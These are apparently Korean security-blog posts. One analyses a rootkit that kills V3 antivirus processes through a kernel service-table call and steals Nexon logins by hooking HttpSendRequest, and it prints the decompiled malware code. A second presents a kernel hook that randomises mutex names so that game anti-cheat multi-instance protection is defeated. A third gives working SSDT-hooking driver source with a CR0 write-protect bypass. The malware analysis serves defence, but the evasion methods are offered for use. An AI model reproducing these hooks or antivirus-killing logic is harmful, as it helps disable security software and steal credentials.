        if ( !stricmp(v6, "SgSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v7 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v7, "V3LSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v8 = (const char *)PsGetProcessImageFileName(v9);
        result = stricmp(v8, "V3Light.exe");
        if ( !result )
        {
          dword_11490 = a2;
          result = PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }

해당 프로세스를 발견하면  시스템쓰레드를 생성해서 특정한 작업을 수행합니다.
StartRoutine을 살펴보니 다음과 같았습니다.


NTSTATUS __stdcall StartRoutine(int a1)
{
  sub_10A90(5000);
  sub_10D10((void *)dword_11490);
  return PsTerminateSystemThread(0);
}
NTSTATUS __stdcall sub_10A90(int a1)
{
  LARGE_INTEGER Interval; // [sp+0h] [bp-8h]@1

  Interval = (LARGE_INTEGER)(-10000i64 * a1);
  return KeDelayExecutionThread(0, 0, &Interval);
}
NTSTATUS __stdcall sub_10D10(void *a1)
{
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+4h] [bp-28h]@1
  void *v3; // [sp+1Ch] [bp-10h]@1
  CLIENT_ID ClientId; // [sp+20h] [bp-Ch]@1
  HANDLE Handle; // [sp+28h] [bp-4h]@1

  Handle = 0;
  v3 = a1;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 0;
  ObjectAttributes.ObjectName = 0;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  ClientId.UniqueProcess = a1;
  ClientId.UniqueThread = 0;
  if ( !NtOpenProcess(&Handle, 0x1F0FFFu, &ObjectAttributes, &ClientId) )
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
  return ZwClose(Handle);
}

위 코드에서 주목해야할 부분은 
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
부분입니다.

NtOpenProcess를 먼저 호출한뒤에 , NtOpenProcess가 성공한다면 STATUS_SUCCESS (0x00000000L) 이 리턴될것이고

그러면 dword_11494의 함수포인터를 호출하겠죠.
dword_11494가 무엇인지 확인해보기 위해서  코드 레퍼런스를 추적해보니  다음과 같은 디스어셈블 코드가 나왔습니다.
mov     edx, ds:KeServiceDescriptorTable
mov     eax, [edx]
add     eax, 404h

mov     [ebp+var_C], eax
mov     ecx, [ebp+var_C]
mov     edx, [ecx]
mov     dword_11494, edx


위 코드의 의미를 WinDBG에서 먹히는 명령어로 변환해보면 다음과 같습니다.
0: kd> dds poi(KeServiceDescriptorTable) + 0x404
80506864  805d49ac nt!NtTerminateProcess
80506868  805d4ba6 nt!NtTerminateThread
8050686c  805d6c0c nt!NtTestAlert
80506870  80537108 nt!NtTraceEvent
80506874  8061811e nt!NtTranslateFilePath
80506878  805862ce nt!NtUnloadDriver
8050687c  80624062 nt!NtUnloadKey
80506880  8062427c nt!NtUnloadKeyEx

0: kd> r $t0 = poi(KeServiceDescriptorTable) + 0x404
0: kd> r $t1 = poi(@$t0)

0: kd> u @$t1
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]

0: kd> r $t2 = poi(@$t1)
0: kd> r $t2
$t2=8b55ff8b  (Byte 참조 순서가 거꾸로인 이유는  IA-32 Compatible CPU는  Little Endian 방식의 메모리 참조를 하기 때문.)


자...이제 아시겠죠?
NtTerminateProcess를 커널모드에서도 호출하고 있음을 명확하게 확인할 수 있습니다.
0x404는  서비스넘버를 하드코딩한것으로 보입니다.
PsGetVersion을 호출해서 OS별로 서비스넘버를 하드코딩한게 아니라 ,
그냥  MS WindowsXP SP3 버젼을 기준으로 해서 서비스넘버를 하드코딩 한것으로 보입니다.
따라서 이 악성코드는  윈도우XP 서비스팩3 버젼이 아닌, 다른 버젼의 NT OS(Vista , 7 , XP SP2 등) 에서 실행했을 경우,
또는 다른 커널모드 보안 드라이버와 충돌할 경우  ,블루스크린이 발생할 가능성이 있습니다.



결과적으로 이 로직의 순서는 다음과 같습니다.

PsSetCreateProcessNotifyRoutine을 호출하여 , NotifyRoutine을 설치해둠.
( 프로세스 생성과 종료시 , NotifyRoutine이 실행됨)

- 아래 내용은 프로세스가 생성, 종료될때마다 실행됩니다. (NotifyRoutine) -

1. PsLookupProcessByProcessId를 호출해서 해당 프로세스의 PEPROCESS를 얻어오고, 
PEPROCESS를 인자로 넘기면서 PsGetProcessImageFileName을 호출하여 V3 관련 프로세스가 실행중인지 확인.

2. 타겟 프로세스가 발견되면 특정 목적을 수행하는 시스템쓰레드를 생성.

3. 시스템쓰레드는 KeDelayExecutionThread를 호출해서 약 5초간 쓰레드 실행을 지연시킴.

4. NtOpenProcess를 호출하여, 성공하면 핸들을 반환.(이미 후킹되어져 있기때문에 거의 성공함)

5. HANDLE값과 ExitCode 값 0을 인자로 넘기면서 , NtTerminateProcess를 호출하여  해당 프로세스 종료.

6. ZwClose를 호출해서 Usage Count를 내림.

7. 시스템쓰레드 자동 폭파.

이상으로 , 이 악성코드에서  V3관련 프로세스를 때려부수기 위한 로직은 대충 파악을 끝낸것 같습니다.




아참 , 그리고 SSDT에 수정을 가하기 위해서
MDL을 쓰느냐  , CR0 Hook을 쓰느냐  궁금해하실 분들이 계실수도 있는데,
이 루트킷에서는 CR0 Hook 방식을 사용하더군요.
정확히 말하자면  Intel IA-32 CPU의 Control Register 0번의  Write Protection Bit를  1에서 0으로 조작하는 형태입니다.
이 작업을 수행하는 코드는 이미 널리 알려진대로 다음과 같습니다.
  PUSH EAX
  MOV EAX,CR0
  AND EAX,0xFFFEFFFF
  MOV CR0,EAX
  POP EAX

참고로 이 드라이버는 아주 더럽게도  DriverUnload에 어떠한 언로드 코드도 넣어두지 않고 있습니다.
완전 더러운놈들이죠...드라이버 언로드 되도 끝까지 살아남겠다는 그 의지!
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11170;
void __stdcall sub_11170(int a1)
{
  ;
}
이런 더러운 놈들!



& Baidog.dat 추가적인 정보 &

* v3ltray.exe가 윈도우 부팅 시 자동으로 실행되지 않게끔 레지스트리에서 값을 제거하는 기능을 가지고 있음.





여기서부터는 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




*  WININET.DLL에서 제공하는 함수인  HttpSendRequestA와  HttpSendRequestW 함수를 후킹해서
넥슨 홈페이지에 ID와 비밀번호를 입력해서 로그인할때 , ID와 비밀번호를 훔쳐내는 기능을 가지고 있음.


아래는 API Inline 후킹된 모습을 나타내는 스샷입니다.
First Bytes를 Inline Patch해서  해커가 코딩한 영역으로 끌고오는 모습을 확인할 수 있습니다.



넥슨 홈페이지에 접속해서
ID에다가  THIS_IS_ID
Password 에다가 THIS_IS_PASS
라고 치고  로그인을 해보겠습니다.



고스란히  Baidog.dat 메모리 영역에  ID와 비밀번호가 찍히고 있는 모습을 확인할 수가 있습니다.
strNexon ID= 라는 문자열과  strPassword= 라는 문자열이 있는것으로 봐서  철저히 패턴 위주로 문자열을 탐색하고 있음을 짐작해볼 수 있습니다.
저 부분에 엑세스하는 모든 주소를 캡쳐해보았는데 , 브포가 걸린 지점에서 콜스택을 확인해보니 다음과 같이 나왔습니다.


0x10003488 주소에 대해서 RtlZeroMemory를 수행하던 도중에 , 중지되었습니다.

콜 스택을 확인해보니 , 다음과 같이 전개되었음을 유추할수 있겠네요.

로그인버튼 누름 ->IE에서 아이디와 비밀번호를 인자로 전달하여 , HttpSendRequestW 호출 -> HttpSendRequestW에서 해커가 코딩한 영역으로 점프함  -> 아이디와 비밀번호를 저장하는영역(배열) 을 RtlZeroMemory 를 호출해서 0으로 초기화 시킴.  -> 해당 영역을 가로챈 아이디와 비밀번호로 채움.   


HttpSendRequestW 함수가 호출되면서 인자로 strNexonId와  strPassword가 전달됨을 확인할 수 있습니다.
그런데 HttpSendRequestW는 현재 API Inline Hook 된 상태입니다.
당연히 해커가 작성한 프로그램영역으로 넘어오겠죠?
해커는 굴러들어온 인자를 적절히 문자열 컨트롤만 해주면 됩니다.
즉 , 넥슨사이트의 ID와 비밀번호 전송 알고리즘 부분은 이미 중국해커에게 모두다 분석 당한 상태이고,
중국해커는 그 부분을 이용해서 손쉽게 넥슨ID와 비밀번호를 털어내가고 있는것입니다.

위와같이 정보를 빼가는 방식은  키보드보안이나 개인방화벽의 작동여부와는 일백퍼센트 무관한 경우입니다.


결국엔 이 악성코드에 감염되고 나서 , 게임을 접속하지않고 ,  
IE를 이용해서 넥슨 관련 모든 홈페이지에 로그인 접속만 하면
넥슨계정은 털리게 될것입니다.


넥슨은 이쯤에서  사이트 리모델링을 해야될 필요성이 있습니다.
아니 , 어찌보면 우리나라가 인터넷익스플로러에 찌들었다는게 참 안타까운 현실입니다..........




** 추가정보 **
HttpSendRequestA , HttpSendRequestW 의 후킹 여부를 탐지해주는 프로그램





악성코드에 관한 정보는  많은분들께 도움이 됐으면 좋겠습니다.  (특히나 온라인게임 업계 종사자분들께)





// 2010.4.17 내용 추가


PS2. 이 글 내용과 제목이 뭔가 오해를 불러일으킬만한 소지가 있는것 같네요.
즉 , 이 글을 놓고봤을때 , 넥슨의 아이디와 비밀번호 전송 부분이 분석당해서 넥슨 계정이 대량으로 털리고있으니, 이건 넥슨 잘못이다,  라고  치부해버리는 분들이 계시는데,

여기서 저의 생각을 대략 말씀드리면

이 모든것의 시작은 악성코드 감염으로 인해서 이루어지는것이므로 ,
1차적인 책임은 유저들에 있습니다. (개인부주의로 인한 - 각종 인터넷습관 등)
무작정 넥슨의 책임으로 몰아가기에는 무리가 있다는 말입니다.
해커는 단지 사용자들이 악성코드에 감염되길 바라고 있을뿐입니다.




//2010. 6. 3 내용 추가
위 내용대로 HttpSendRequestA와  HttpSendRequestW의 후킹을 이용해서 
ID와 비밀번호를 탈취하는것은 이제 막혔습니다.
아이디와 비밀번호를 암호화해서 전송하는 방식으로 바뀌었습니다.
따라서 , 이 암호화부분이 분석되기전까지는 API 후킹을 통한 넥슨계정탈취 수법은 통하지 않을겁니다.
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by Sone 2010.03.25 23:47
뭐 난 마비노기는 아예 하지도 않지만 , 지인 몇명이 하고있고,
최근에는 후킹에 관심을 쪼까 가지고 있어서~

최근 들어서 Ahnlab의 핵쉴드에도 Named Mutant를 기반으로 한 다중실행 방지기법이 도입되었다.
그 결과  , 핵쉴드를 채용한 대부분의 게임은 일반적인 방법으론 Multiple Execution이 불가능하게 되었는데...

뭐 대충 검색을 통해서 멀티로 마비노기를 하는사람들의 글을 검색해보니...
일명    멀티노기    라는  누가 만든 프로그램이 막혀버려서,

Named Mutex  다중실행 방지방법을 알긴 아는사람이  핵쉴드 언패킹은 못하겠고,  커널 후킹도 못하겠고 하니,
Sysinternal의 Process Explorer 를 이용하여  , Mutant핸들을 강제로 종료시키는 방법을 전파했나보다.
인터넷에 퍼진 방법을 적용하면 뭐 잘 되긴 하지만 ,  실제로는 2개의 Mutant만 종료해주면 되는데,
방법을 살펴보면 그와 관계없는 , 즉 실질적으로  Thread Synchronous에 사용되는  정말 목적이 있는 Mutant까지 종료하는것으로 판단된다. 그러면 Application이  Instable 해질수가 있을텐데...

뭐 잡담은 여기까지 하고,


이 방법이 통하는 원리는,
첫번째로 실행한 클라이언트의 Named Mutant 핸들을 Close 해버리면,
두번째 이상부터 실행되는 클라이언트는 당연히  첫번째 클라이언트가 생성해놓은 Named Mutant의 Exist 여부를 알수없기 때문에,
두번째 클라이언트 역시 새로운 Mutant를 생성하게 되고 , 정상적으로 게임이 실행되는것이다.

마비노기 클라이언트를 분석 해본결과 ,  Mutant 를 이용해서 다중실행방지를 하는  순서는 대략 아래의 과정임을 알수 있었다.
(마비노기 런쳐에서 FindWindow 를 이용해서  다중실행을 감지하는 방법은  너무도 간단하기 때문에  ,여기선 그냥 생략한다.)


아래는 마비노기에서  사용하고 있는 방법을 필자 생각대로 아무렇게나 나열해본 코드이다.

/*
  * Global Variable
  * /
HANDLE hGlobalHShieldMutex;

hGlobalHShieldMutex = OpenMutexA(MUTEX_ALL_ACCESS,FALSE,"Global\\?磵HxFV`rZxF?퐹xv");
if(hGlobalHShieldMutex || GetLastError() == ERROR_ACCESS_DENIED)
{
MessageBoxA(NULL,"핵쉴드가 실행중입니다","에러",MB_OK);
return 518;
}
else
{
hGlobalHShieldMutex = CreateMutexA(NULL,FALSE,"Global\\?磵HxFV`rZxF?퐹xv");
if(hGlobalHShieldMutex == NULL)
{
MessageBoxA(NULL,"핵쉴드 초기화 작업에 실패했습니다","Error",MB_OK);
return 518;
}
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
MessageBoxA(NULL,"핵쉴드가 실행중입니다","Error",MB_OK);
return 518;
}

HANDLE hGlobalDevcatMutex = CreateMutexA(NULL,FALSE,"Global\\Nexon,DevCat,Mabinogi");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
MessageBoxA(NULL,"마비노기가 이미 실행중입다","Error",MB_OK);
TerminateProcess(GetCurrentProcess(),0);
return;
}
if(hGlobalDevcapMutex == NULL)
{
HANDLE hLocalDevcatMutex = CreateMutexA(NULL,FALSE,"Nexon,DevCat,Mabinogi");
if(GetLastError() == ERROR_ALREADY_EXISTS || hLocalDevcatMutex == NULL)
{
MessageBoxA(NULL,"마비노기가 실행중입니다.","Error",MB_OK);
return;
}
}
}

(위 코드는 필자가 분석 결과를 토대로 지어낸 슈도코드이기 때문에, 원본과 비교했을때 정확하지 않을 수 있음)

분석 결과 ,  핵쉴드 뮤턴트를 검색하여 , 먼저 핵쉴드가 실행중인지 판단한다.
핵쉴드가 실행중이지 않다면 , 글로벌 디브캣 뮤턴트를 생성하고 , 여기서 뮤턴트 생성에 실패하면,
세번째 로컬 뮤턴트를 생성하려고 시도한다.
로컬 뮤턴트 생성에도 실패하면 최종적으로 다중실행이라고 판단하고 종료한다.

개발진 측에서 다중실행 방지에 뭔가 목숨건것 같은 느낌이 든다.


뭐 무력화 하는방법은...
세번째 로컬 뮤턴트는 볼필요없고 , 결국은 첫번째 글로벌 핵쉴드 뮤턴트와 , 두번째 글로벌 디브캣 뮤턴트만 따내버리면 그만이다..
여기서 생각할수 있는 방법이 , 뮤턴트는 Kernel Object이기 때문에 , Kernel을 따내는것이 가장 손쉬운 방법일 것이다.
ZwClose 를 이용한  Mutant Force Close 도 생각해볼 수 있지만,

뭐 초간단하게 조작하는 방법은 어떤것이 있을까...?
개발진 측이 다중실행을 방지하려고 도입한 기법을  되래 역으로 이용하는 방법이 여기 있으니.......
(사실 어디서 퍼온 방법이 아니고 , 모니터 뚫어지게 쳐다보다가 갑자기 생각난 방법임 -_-;)


그 방법은  Named Mutant를 생성하려고 전달된  ObjectAttributes->ObjectName 을
프로세스가 NtCreateMutant를 호출할때마다  Randomize 하게 실시간으로 생성하는 임의의 Mutant Name으로 바꿔버리는 것이다.
그에 해당하는 코드는 아래와 같다.

ULONG CPU_CYCLE_TIME_SINCE_RESET_OR_POWERON;
__asm
{
PUSH EAX
PUSH EDX
RDTSC  //Read Time Stamp Counter  (save to EDX:EAX)
MOV CPU_CYCLE_TIME_SINCE_RESET_OR_POWERON , EAX
POP EDX
POP EAX
}
RtlIntegerToUnicodeString(CPU_CYCLE_TIME_SINCE_RESET_OR_POWERON , 16 , ObjectAttributes->ObjectName);
status = ((NTCREATEMUTANT)OldNtCreateMutant)(
MutantHandle,
DesiredAccess,
ObjectAttributes,
InitialOwner);
DbgPrint(" status : %d",status);
return status;

컴퓨터 전원을 켠뒤,  또는 Asynchronous Reset 이 일어난뒤 , 
CPU의 Cycle Time은  0부터 쭉~ 증가하게 되는데, 이것을 이용한  Named Mutant를 조작하는 방법이다.
RDTSC 명령을 실행하면 
IA32_TIME_STAMP_COUNTER MSR  레지스터에 저장된 타임 스탬프 카운터 값을 읽어서,
EDX:EAX 에  현재 타임 스탬프 카운터 값을 저장한다.
그 후에 그 값을 뮤턴트 네임으로 대체하는 방식이다.

보통 RDTSC는 하드웨어 유틸에서 클럭의 주파수 계산이나 , 
유저모드 API 에서는 GetTickCount , 
커널모드 API 에서는  NtQueryPerformanceCounter 등의  정밀카운터 관련 연산이나
또는 항상 값이 변하는 성질을 이용해서 Randomize 알고리즘에서  근본 소스로 사용되는 경우가 많다.


하나의 예를 들어서 ,  QueryPerformanceCounter를 살펴보자.
우리가 보통 많이 사용하는 QueryPerformanceCounter를  유저모드에서 호출하게되면,
 Kernel에서 NtQueryPerformanceCounter를 호출한다. 
NtQueryPerformanceCounter에서 내부적으로 호출하고있는 함수들의 목록은 아래와 같다.


nt!NtQueryPerformanceCounter (80619682)
  nt!NtQueryPerformanceCounter+0x7 (80619689):
    call to nt!_SEH_prolog (8053db80)
  nt!NtQueryPerformanceCounter+0x3b (806196bd):
    call to nt!ExRaiseDatatypeMisalignment (80616066)
  nt!NtQueryPerformanceCounter+0x65 (806196e7):
    call to nt!ExRaiseDatatypeMisalignment (80616066)
  nt!NtQueryPerformanceCounter+0x7b (806196fd):
    call to hal!KeQueryPerformanceCounter (806edb94)
  nt!NtQueryPerformanceCounter+0xbc (8061973e):
    call to hal!KeQueryPerformanceCounter (806edb94)
  nt!NtQueryPerformanceCounter+0xde (80619760):
    call to nt!_SEH_epilog (8053dbbb)

Hardware Abstraction Layer 에서 제공하고있는 KeQueryPerformanceCounter를 이용하고있음을 볼수있다.
따라서 또 들어가보자.


hal!KeQueryPerformanceCounter:
806edb94 8bff            mov     edi,edi
806edb96 55              push    ebp
806edb97 8bec            mov     ebp,esp
806edb99 5d              pop     ebp
806edb9a ff2548356f80    jmp     dword ptr [hal!HalpHeapStart+0xc (806f3548)]
806edba0 cc              int     3
806edba1 cc              int     3
806edba2 cc              int     3

 hal!HalpHeapStart+0xc 를 dword ptr 만큼 참조하여 , 그 포인터로 점프를 한다.
hal!HalpHeapStart+0xc 에는 그럼 디스어셈블 코드가 있는것은 아닐테고 , 어떠한 포인터값으로 존재할것이다.
어떤것이 있는지 살펴보았더니,


806f3548  806e6c78 hal!HalpAcpiTimerQueryPerfCount
806f354c  806edbb8 hal!HalpAcpiTimerSetTimeIncrement

HalpAcpiTimerQueryPerfCount  라는  커널API가 있다.
이 부분으로 따라가보자.



hal!HalpAcpiTimerQueryPerfCount:
806e6c78 a0dcf06e80      mov     al,byte ptr [hal!HalpUse8254 (806ef0dc)]
806e6c7d 0ac0            or      al,al
806e6c7f 752d            jne     hal!HalpAcpiTimerQueryPerfCount+0x36 (806e6cae)
806e6c81 8b4c2404        mov     ecx,dword ptr [esp+4]
806e6c85 0bc9            or      ecx,ecx
806e6c87 7412            je      hal!HalpAcpiTimerQueryPerfCount+0x23 (806e6c9b)
806e6c89 64a1a4000000    mov     eax,dword ptr fs:[000000A4h]
806e6c8f 648b15a8000000  mov     edx,dword ptr fs:[0A8h]
806e6c96 8901            mov     dword ptr [ecx],eax
806e6c98 895104          mov     dword ptr [ecx+4],edx
806e6c9b 0f31            rdtsc
806e6c9d 640305ac000000  add     eax,dword ptr fs:[0ACh]
806e6ca4 641315b0000000  adc     edx,dword ptr fs:[0B0h]
806e6cab c20400          ret     4
806e6cae 8b4c2404        mov     ecx,dword ptr [esp+4]
806e6cb2 0bc9            or      ecx,ecx

위 코드에서 확인할수있다시피 , 결국은  그 근본은 RDTSC라는 것이다.
RDTSC를 실행하여 , EDX : EAX에 타임스탬프카운터를 얻어온뒤에 , 
eax는  dword ptr fs:[0ACh]와 ADD 연산을 하고 ,  edx는 dword ptr fs:[0B0h]와 ADD 연산을 한뒤 , 그값을 반환한다.  
(결과가 너무 허무한가?)

참고로 RDTSC Instruction은   
x86 CPU의  Control Register 4 의  2번 Bit인 
Time Stamp Disable (TSD)가  1로 세트되어져 있으면 ,  Ring0에서만 써먹을 수 있고,
TSD가 0으로 클리어 되어져 있으면 ,  모든 권한의 레벨에서 사용할 수 있다.
이 권한을 제어하기 위해선 CR4를 컨트롤이 필요한데 , 
CR4에 접근하기 위한 특권레벨은 Ring 0 에서만 가능하므로 , 당연히 드라이버가 필요하다.

아래는  IA32 Manual 3A의  2-23에서 발췌한 내용이다.

TSDTime Stamp Disable (bit 2 of CR4) — Restricts the execution of the RDTSC instruction (including RDTSCP instruction if CPUID.80000001H:EDX[27] = 1) to procedures running at privilege level 0 when setallows RDTSC instruction(including RDTSCP instruction if CPUID.80000001H:EDX[27] = 1) to be executed at any privilege level when clear.


뭐 결론적으로 
위 방법을 응용하면 , 현재 보안솔루션이 채택된 대부분 게임들의 멀티로더 만들기가 가능해질 것이다.
n사의 GG는 초기화작업에서 SSDT Restore를 수행한다고 들었는데 , 뭐 개인적으로 분석해보지는 않아서 가능할지 여부는 확실하지않다.
이때까지 유저모드에서  ReadProcessMemory , WriteProcessMemory ,  CreateFile-WriteFile 만을 이용해서 멀티 만드신분들은 쬐까 참고하셔도 될듯...
제 블로그 눈빠지게 모니터링 하시는 보안요원들께도 좋은 정보가 됐으면 좋겠네영
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by Sone 2009.11.23 02:31

#include <ntddk.h>

 

typedef struct ServiceDescriptorEntry
{
 unsigned int* ServiceTableBase;
 unsigned int* ServiceCounterTableBase;
 unsigned int NumberOfServices;
 unsigned char* ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

typedef NTSTATUS (*NTOPENPROCESS)(PHANDLE ProcessHandle,
          ACCESS_MASK DesiredAccess,
          POBJECT_ATTRIBUTES ObjectAttributes,
          PCLIENT_ID ClientId OPTIONAL);

NTOPENPROCESS OrigNtOpenProcess = NULL;

NTSTATUS HookNtOpenProcess (PHANDLE ProcessHandle,
       ACCESS_MASK DesiredAccess,
       POBJECT_ATTRIBUTES ObjectAttributes,
       PCLIENT_ID ClientId OPTIONAL)
{
 NTSTATUS ntReturn = STATUS_SUCCESS;
 DbgPrint("HookNTOpenProcess\n");

 ntReturn = OrigNtOpenProcess(ProcessHandle,
  DesiredAccess,
  ObjectAttributes,
  ClientId);

 return ntReturn;
}

VOID HookServiceTable()
{
 OrigNtOpenProcess = (PVOID) InterlockedExchangePointer(
  (PVOID*) &KeServiceDescriptorTable.ServiceTableBase[0x7A], HookNtOpenProcess);
}


VOID DRIVERUnload(IN PDRIVER_OBJECT DriverObject)
{
 __asm{
  cli
  push eax
  mov eax, cr0
  and eax,0xfffeffff
  mov cr0, eax
  pop eax
 }
 DbgPrint("CR0 WP bit disabled\n");

 InterlockedExchangePointer(
  (PVOID*) &KeServiceDescriptorTable.ServiceTableBase[0x7A], OrigNtOpenProcess);

 __asm{
  push eax
  mov eax, cr0
  or eax, NOT 0xfffeffff
  mov cr0, eax
  pop eax
  sti
 }
 DbgPrint("CR0 WP bit enabled\n");

 DbgPrint("Hook Unloaded\n");


}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject ,
      IN PUNICODE_STRING RegistryPath)
{
 DriverObject->DriverUnload=DRIVERUnload;

 __asm{
  cli
  push eax
  mov eax, cr0
  and eax,0xfffeffff
  mov cr0, eax
  pop eax
 }
 DbgPrint("CR0 WP bit disabled\n");

 HookServiceTable();

 __asm{
  push eax
  mov eax, cr0
  or eax, NOT 0xfffeffff
  mov cr0, eax
  pop eax
  sti
 }
 DbgPrint("CR0 WP bit enabled\n");
 return STATUS_SUCCESS;
}



사실 이것을  드라이버 작성법도 올바르게 모르는 내가 혼자 다했다고 하면 , 뻥인게 확실할것이고..
각종 서적에 나와있는 방법들과  ,인터넷 사이트들을 뒤져가면서..(물론 이런 종류의 코드는 널리 알려진지 꽤나 오래됐지만)
초보의 입장에서 직접 쳐보면서 원리를 이해하고자 나름대로 노력하였다. (다행히도 나름대로 90%정도는 이해한것 같다!)

C언어를 처음배울 때 ,  뭣도 모르고  printf ,` #include ,` int main(void)  등을 사용하지 않았는가?
그와 비슷한 것이라고 보면 될듯...

드라이버가 로드되면,
ntoskrnl 이 export 하고있는   SDT 테이블을 얻어와서 , InterLockedExchangePointer 함수를 이용해서 포인터를 교환해버리는 방식이다. 즉 , Hook된 NtOpenProcess가 호출되게끔 되는것이다. 위 코드 상에서는 , 특별히 다른 작업은 수행안하고 , 오리지널 NtOpenProcess를 호출하고 있다.
물론 , 언로드되면  기존의 백업해두었던 포인터를 다시 원래대로 돌려놓는 방식..

그런데 , 요즘 이 방법이 먹힐거라고 보면 큰 오산이다.
이유인 즉슨, 근래 대부분의 보안프로그램들은 ,  API 내부적으로 호출하는 함수들 또한 후킹을 하고있기 때문이다.

NtOpenProcess가  내부적으로  호출하고있는 함수들의 목록은 다음과 같다.

0: kd> uf -c nt!NtOpenProcess
nt!NtOpenProcess (805cd408)
  nt!NtOpenProcess+0xa (805cd412):
    call to nt!_SEH_prolog (8053db90)
  nt!NtOpenProcess+0x4e (805cd456):
    call to nt!ExRaiseDatatypeMisalignment (80616090)
  nt!NtOpenProcess+0x7c (805cd484):
    call to nt!ExRaiseDatatypeMisalignment (80616090)
  nt!NtOpenProcess+0x116 (805cd51e):
    call to nt!SeCreateAccessState (805f2dc4)
  nt!NtOpenProcess+0x132 (805cd53a):
    call to nt!SeSinglePrivilegeCheck (805f9cde)
  nt!NtOpenProcess+0x17d (805cd585):
    call to nt!ObOpenObjectByName (805bd8f2)
  nt!NtOpenProcess+0x18b (805cd593):
    call to nt!SeDeleteAccessState (805f2b86)
  nt!NtOpenProcess+0x1e2 (805cd5ea):
    call to nt!PsLookupProcessThreadByCid (805d502e)
  nt!NtOpenProcess+0x1f4 (805cd5fc):
    call to nt!SeDeleteAccessState (805f2b86)
  nt!NtOpenProcess+0x202 (805cd60a):
    call to nt!PsLookupProcessByProcessId (805d50ea)
  nt!NtOpenProcess+0x224 (805cd62c):
    call to nt!ObOpenObjectByPointer (805bdc78)
  nt!NtOpenProcess+0x232 (805cd63a):
    call to nt!SeDeleteAccessState (805f2b86)
  nt!NtOpenProcess+0x23e (805cd646):
    call to nt!ObfDereferenceObject (8052868e)
  nt!NtOpenProcess+0x246 (805cd64e):
    call to nt!ObfDereferenceObject (8052868e)
  nt!NtOpenProcess+0x27e (805cd686):
    call to nt!_SEH_epilog (8053dbcb)


만약 보안솔루션이나 기타 루트킷등에서 내부 함수들까지 싹다 후킹해버리면 , 여간 귀찮은게 한두가지가 아닐듯 하다..

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by Sone 2009.08.19 00:16
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